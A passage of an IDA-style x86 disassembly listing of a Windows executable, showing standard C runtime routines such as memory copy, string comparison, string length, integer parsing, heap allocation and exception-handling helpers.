[ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_413910 cmp edi, eax jb loc_413A88 loc_413910: ; CODE XREF: sub_4138F0+16j test edi, 3 jnz short loc_41392C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41394C rep movsd jmp ds:off_413A38[edx*4] ; --------------------------------------------------------------------------- loc_41392C: ; CODE XREF: sub_4138F0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_413944 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41394C+4[eax*4] ; --------------------------------------------------------------------------- loc_413944: ; CODE XREF: sub_4138F0+46j jmp dword ptr ds:loc_413A48[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41394C: ; CODE XREF: sub_4138F0+31j ; sub_4138F0+8Ej ... jmp ds:off_4139CC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_413960 dd offset loc_41398C dd offset loc_4139B0 ; --------------------------------------------------------------------------- loc_413960: ; DATA XREF: sub_4138F0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41394C rep movsd jmp ds:off_413A38[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41398C: ; DATA XREF: sub_4138F0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41394C rep movsd jmp ds:off_413A38[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4139B0: ; DATA XREF: sub_4138F0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41394C rep movsd jmp ds:off_413A38[edx*4] ; --------------------------------------------------------------------------- align 4 off_4139CC dd offset loc_413A2F ; DATA XREF: sub_4138F0:loc_41394Cr dd offset loc_413A1C dd offset loc_413A14 dd offset loc_413A0C dd offset loc_413A04 dd offset loc_4139FC dd offset loc_4139F4 dd offset loc_4139EC ; --------------------------------------------------------------------------- loc_4139EC: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4139F4: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4139FC: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_413A04: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_413A0C: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_413A14: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_413A1C: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_413A2F: ; CODE XREF: sub_4138F0:loc_41394Cj ; DATA XREF: sub_4138F0:off_4139CCo jmp ds:off_413A38[edx*4] ; --------------------------------------------------------------------------- align 4 off_413A38 dd offset loc_413A48 ; DATA XREF: sub_4138F0+35r ; sub_4138F0+92r ... dd offset loc_413A50 dd offset loc_413A5C dd offset loc_413A70 ; --------------------------------------------------------------------------- loc_413A48: ; CODE XREF: sub_4138F0+35j ; sub_4138F0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_413A50: ; CODE XREF: sub_4138F0+35j ; sub_4138F0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413A5C: ; CODE XREF: sub_4138F0+35j ; sub_4138F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_413A70: ; CODE XREF: sub_4138F0+35j ; sub_4138F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413A88: ; CODE XREF: sub_4138F0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_413ABC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_413AB0 std rep movsd cld jmp ds:off_413BD0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_413AB0: ; CODE XREF: sub_4138F0+1B1j ; sub_4138F0+208j ... neg ecx jmp dword ptr ds:loc_413B7F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_413ABC: ; CODE XREF: sub_4138F0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_413AD4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_413AD4+4[eax*4] ; --------------------------------------------------------------------------- loc_413AD4: ; CODE XREF: sub_4138F0+1D6j ; DATA XREF: sub_4138F0+1DDr jmp ds:off_413BD0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_413AE8 dd offset loc_413B08 dd offset loc_413B30 ; --------------------------------------------------------------------------- loc_413AE8: ; DATA XREF: sub_4138F0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_413AB0 std rep movsd cld jmp ds:off_413BD0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_413B08: ; DATA XREF: sub_4138F0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_413AB0 std rep movsd cld jmp ds:off_413BD0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_413B30: ; DATA XREF: sub_4138F0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_413AB0 std rep movsd cld jmp ds:off_413BD0[edx*4] ; --------------------------------------------------------------------------- align 4 test [ebx], bh inc ecx add [ebx+edi+3B940041h], cl inc ecx add [ebx+edi+3BA40041h], bl inc ecx add [ebx+edi+3BB40041h], ch inc ecx loc_413B7F: ; DATA XREF: sub_4138F0+1C2r add bh, al cmp eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_413BC7: ; CODE XREF: sub_4138F0+1C2j jmp ds:off_413BD0[edx*4] ; --------------------------------------------------------------------------- align 10h off_413BD0 dd offset loc_413BE0 ; DATA XREF: sub_4138F0+1B7r ; sub_4138F0:loc_413AD4r ... dd offset loc_413BE8 dd offset loc_413BF8 dd offset loc_413C0C ; --------------------------------------------------------------------------- loc_413BE0: ; CODE XREF: sub_4138F0+1B7j ; sub_4138F0:loc_413AD4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413BE8: ; CODE XREF: sub_4138F0+1B7j ; sub_4138F0:loc_413AD4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413BF8: ; CODE XREF: sub_4138F0+1B7j ; sub_4138F0:loc_413AD4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413C0C: ; CODE XREF: sub_4138F0+1B7j ; sub_4138F0:loc_413AD4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4138F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413C30 proc near ; CODE XREF: sub_4010B2+FCp ; sub_4010B2+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_413C7C loc_413C40: ; CODE XREF: sub_413C30+3Cj ; sub_413C30+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_413C74 or al, al jz short loc_413C70 cmp ah, [ecx+1] jnz short loc_413C74 or ah, ah jz short loc_413C70 shr eax, 10h cmp al, [ecx+2] jnz short loc_413C74 or al, al jz short loc_413C70 cmp ah, [ecx+3] jnz short loc_413C74 add ecx, 4 add edx, 4 or ah, ah jnz short loc_413C40 mov edi, edi loc_413C70: ; CODE XREF: sub_413C30+18j ; sub_413C30+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_413C74: ; CODE XREF: sub_413C30+14j ; sub_413C30+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_413C7C: ; CODE XREF: sub_413C30+Ej test edx, 1 jz short loc_413C98 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_413C74 inc ecx or al, al jz short loc_413C70 test edx, 2 jz short loc_413C40 loc_413C98: ; CODE XREF: sub_413C30+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_413C74 or al, al jz short loc_413C70 cmp ah, [ecx+1] jnz short loc_413C74 or ah, ah jz short loc_413C70 add ecx, 2 jmp short loc_413C40 sub_413C30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413CC0 proc near ; CODE XREF: sub_4010B2+19Ep ; sub_4018CB+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_413CD9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_413CD9: ; CODE XREF: sub_413CC0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_413CC0 endp ; =============== S U B R O U T I N E ======================================= sub_413CF4 proc near ; CODE XREF: sub_413D7F+4p ; sub_41BFB2+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_413CFC: ; CODE XREF: sub_413CF4+34j cmp dword_4379BC, 1 jle short loc_413D14 movzx eax, byte ptr [edi] push 8 push eax call sub_41686F pop ecx pop ecx jmp short loc_413D23 ; --------------------------------------------------------------------------- loc_413D14: ; CODE XREF: sub_413CF4+Fj movzx eax, byte ptr [edi] mov ecx, off_4377B0 mov al, [ecx+eax*2] and eax, 8 loc_413D23: ; CODE XREF: sub_413CF4+1Ej test eax, eax jz short loc_413D2A inc edi jmp short loc_413CFC ; --------------------------------------------------------------------------- loc_413D2A: ; CODE XREF: sub_413CF4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_413D3A cmp esi, 2Bh jnz short loc_413D3E loc_413D3A: ; CODE XREF: sub_413CF4+3Fj movzx esi, byte ptr [edi] inc edi loc_413D3E: ; CODE XREF: sub_413CF4+44j xor ebx, ebx loc_413D40: ; CODE XREF: sub_413CF4+7Bj cmp dword_4379BC, 1 jle short loc_413D55 push 4 push esi call sub_41686F pop ecx pop ecx jmp short loc_413D60 ; --------------------------------------------------------------------------- loc_413D55: ; CODE XREF: sub_413CF4+53j mov eax, off_4377B0 mov al, [eax+esi*2] and eax, 4 loc_413D60: ; CODE XREF: sub_413CF4+5Fj test eax, eax jz short loc_413D71 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_413D40 ; --------------------------------------------------------------------------- loc_413D71: ; CODE XREF: sub_413CF4+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_413D7A neg eax loc_413D7A: ; CODE XREF: sub_413CF4+82j pop edi pop esi pop ebp pop ebx retn sub_413CF4 endp ; =============== S U B R O U T I N E ======================================= sub_413D7F proc near ; CODE XREF: sub_4013E9+12p ; sub_4013E9+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_413CF4 pop ecx retn sub_413D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D8A proc near ; CODE XREF: sub_401447+319p ; sub_401BD7+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_416065 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_413DC9 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_413DD6 ; --------------------------------------------------------------------------- loc_413DC9: ; CODE XREF: sub_413D8A+35j lea eax, [ebp+var_20] push eax push 0 call sub_415F50 pop ecx pop ecx loc_413DD6: ; CODE XREF: sub_413D8A+3Dj mov eax, esi pop esi leave retn sub_413D8A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413DE0 proc near ; CODE XREF: sub_401BD7+2D8p ; sub_401BD7+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_413E5A mov dh, [ecx+1] test dh, dh jz short loc_413E47 loc_413DF8: ; CODE XREF: sub_413DE0+52j ; sub_413DE0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_413E1A test al, al jz short loc_413E14 loc_413E09: ; CODE XREF: sub_413DE0+32j mov al, [esi] inc esi loc_413E0C: ; CODE XREF: sub_413DE0+3Fj cmp al, dl jz short loc_413E1A test al, al jnz short loc_413E09 loc_413E14: ; CODE XREF: sub_413DE0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_413E1A: ; CODE XREF: sub_413DE0+23j ; sub_413DE0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_413E0C lea edi, [esi-1] loc_413E24: ; CODE XREF: sub_413DE0+63j mov ah, [ecx+2] test ah, ah jz short loc_413E53 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_413DF8 mov al, [ecx+3] test al, al jz short loc_413E53 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_413E24 jmp short loc_413DF8 ; --------------------------------------------------------------------------- loc_413E47: ; CODE XREF: sub_413DE0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_415BA6 ; --------------------------------------------------------------------------- loc_413E53: ; CODE XREF: sub_413DE0+49j ; sub_413DE0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_413E5A: ; CODE XREF: sub_413DE0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_413DE0 endp ; =============== S U B R O U T I N E ======================================= sub_413E60 proc near ; CODE XREF: sub_40211B+8p ; .text:0040354Dp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_413E80 loc_413E6C: ; CODE XREF: sub_413E60+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_413E6C loc_413E80: ; CODE XREF: sub_413E60+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_413E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413E90 proc near ; CODE XREF: sub_4026C1+7p ; sub_402CEB+124p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_413EB0 loc_413E9C: ; CODE XREF: sub_413E90+19j mov al, [ecx] inc ecx test al, al jz short loc_413EE3 test ecx, 3 jnz short loc_413E9C add eax, 0 loc_413EB0: ; CODE XREF: sub_413E90+Aj ; sub_413E90+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_413EB0 mov eax, [ecx-4] test al, al jz short loc_413F01 test ah, ah jz short loc_413EF7 test eax, 0FF0000h jz short loc_413EED test eax, 0FF000000h jz short loc_413EE3 jmp short loc_413EB0 ; --------------------------------------------------------------------------- loc_413EE3: ; CODE XREF: sub_413E90+11j ; sub_413E90+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413EED: ; CODE XREF: sub_413E90+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413EF7: ; CODE XREF: sub_413E90+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_413F01: ; CODE XREF: sub_413E90+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_413E90 endp ; =============== S U B R O U T I N E ======================================= sub_413F0B proc near ; CODE XREF: sub_4024DF+Ap ; sub_402519+12p ... arg_0 = dword ptr 4 push dword_742284 push [esp+4+arg_0] call sub_413F1D pop ecx pop ecx retn sub_413F0B endp ; =============== S U B R O U T I N E ======================================= sub_413F1D proc near ; CODE XREF: sub_413F0B+Ap ; sub_414905+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_413F46 loc_413F24: ; CODE XREF: sub_413F1D+27j push [esp+arg_0] call sub_413F49 test eax, eax pop ecx jnz short locret_413F48 cmp [esp+arg_4], eax jz short locret_413F48 push [esp+arg_0] call sub_4168E4 test eax, eax pop ecx jnz short loc_413F24 loc_413F46: ; CODE XREF: sub_413F1D+5j xor eax, eax locret_413F48: ; CODE XREF: sub_413F1D+13j ; sub_413F1D+19j retn sub_413F1D endp ; =============== S U B R O U T I N E ======================================= sub_413F49 proc near ; CODE XREF: sub_413F1D+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_4379CC ja short loc_413F61 push esi call sub_416CCF test eax, eax pop ecx jnz short loc_413F7D loc_413F61: ; CODE XREF: sub_413F49+Bj test esi, esi jnz short loc_413F68 push 1 pop esi loc_413F68: ; CODE XREF: sub_413F49+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_743880 call ds:dword_41F144 ; RtlAllocateHeap loc_413F7D: ; CODE XREF: sub_413F49+16j pop esi retn sub_413F49 endp ; =============== S U B R O U T I N E ======================================= sub_413F7F proc near ; CODE XREF: sub_40256E+Ap ; sub_402587+7Bp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_413FAC push esi call sub_416979 pop ecx test eax, eax push esi jz short loc_413F9E push eax call sub_4169A4 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_413F9E: ; CODE XREF: sub_413F7F+13j push 0 push dword_743880 call ds:dword_41F148 ; RtlFreeHeap loc_413FAC: ; CODE XREF: sub_413F7F+7j pop esi retn sub_413F7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413FAE(double) sub_413FAE proc near ; CODE XREF: sub_402C9F+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437770 call sub_417CA2 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_414034 call sub_417B6A pop ecx test eax, eax pop ecx jle short loc_414017 cmp eax, 2 jle short loc_414009 cmp eax, 3 jnz short loc_414017 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41747A add esp, 10h jmp short loc_414079 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FAE+3Fj push esi push ebx call sub_417CA2 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_414079 ; --------------------------------------------------------------------------- loc_414017: ; CODE XREF: sub_413FAE+3Aj ; sub_413FAE+44j fld [ebp+arg_0] fadd ds:dbl_41F668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_414071 ; --------------------------------------------------------------------------- loc_414034: ; CODE XREF: sub_413FAE+2Fj call sub_417B2F fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_414057 loc_414049: ; CODE XREF: sub_413FAE+ACj push esi push ebx call sub_417CA2 fld [ebp+var_8] pop ecx pop ecx jmp short loc_414079 ; --------------------------------------------------------------------------- loc_414057: ; CODE XREF: sub_413FAE+99j test bl, 20h jnz short loc_414049 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_414071: ; CODE XREF: sub_413FAE+84j call sub_4174CD add esp, 1Ch loc_414079: ; CODE XREF: sub_413FAE+59j ; sub_413FAE+67j ... pop esi pop ebx leave retn sub_413FAE endp ; =============== S U B R O U T I N E ======================================= sub_41407D proc near ; CODE XREF: sub_415C5C+9p ; sub_417D6B+21p ; DATA XREF: ... call sub_414095 call sub_417D6B mov dword_742208, eax call sub_417D1B fnclex retn sub_41407D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_414095 proc near ; CODE XREF: sub_41407Dp mov eax, offset sub_418159 mov off_437AEC, offset sub_417DEE mov off_437AE8, eax mov off_437AF0, offset sub_417E54 mov off_437AF4, offset sub_417D94 mov off_437AF8, offset sub_417E3C mov off_437AFC, eax retn sub_414095 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140D0 proc near ; CODE XREF: sub_402C9F+1Bp ; sub_402C9F+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_4140D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4140F7(double) sub_4140F7 proc near ; CODE XREF: sub_402CEB+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437788 call sub_417CA2 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41417D call sub_417B6A pop ecx test eax, eax pop ecx jle short loc_414160 cmp eax, 2 jle short loc_414152 cmp eax, 3 jnz short loc_414160 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41747A add esp, 10h jmp short loc_4141C2 ; --------------------------------------------------------------------------- loc_414152: ; CODE XREF: sub_4140F7+3Fj push esi push ebx call sub_417CA2 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_4141C2 ; --------------------------------------------------------------------------- loc_414160: ; CODE XREF: sub_4140F7+3Aj ; sub_4140F7+44j fld [ebp+arg_0] fadd ds:dbl_41F668 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_4141BA ; --------------------------------------------------------------------------- loc_41417D: ; CODE XREF: sub_4140F7+2Fj call sub_417B2F fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_4141A0 loc_414192: ; CODE XREF: sub_4140F7+ACj push esi push ebx call sub_417CA2 fld [ebp+var_8] pop ecx pop ecx jmp short loc_4141C2 ; --------------------------------------------------------------------------- loc_4141A0: ; CODE XREF: sub_4140F7+99j test bl, 20h jnz short loc_414192 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_4141BA: ; CODE XREF: sub_4140F7+84j call sub_4174CD add esp, 1Ch loc_4141C2: ; CODE XREF: sub_4140F7+59j ; sub_4140F7+67j ... pop esi pop ebx leave retn sub_4140F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C6 proc near ; CODE XREF: sub_4185CA+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_4141C6 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_4141FA proc near ; CODE XREF: sub_41877B+199p ; sub_41893F+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_4141FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414201 proc near ; CODE XREF: sub_41877B+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_414201 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414208 proc near ; CODE XREF: sub_4143BA+5Cp ; sub_4185CA:loc_4185FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_414230 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_41E42E loc_414230: ; DATA XREF: sub_414208+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_414208 endp ; --------------------------------------------------------------------------- loc_414257: ; CODE XREF: .text:0041E624j ; .text:0041E641j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4181CF add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41428D proc near ; CODE XREF: sub_418645+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_4142E1 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_4189D0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41428D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 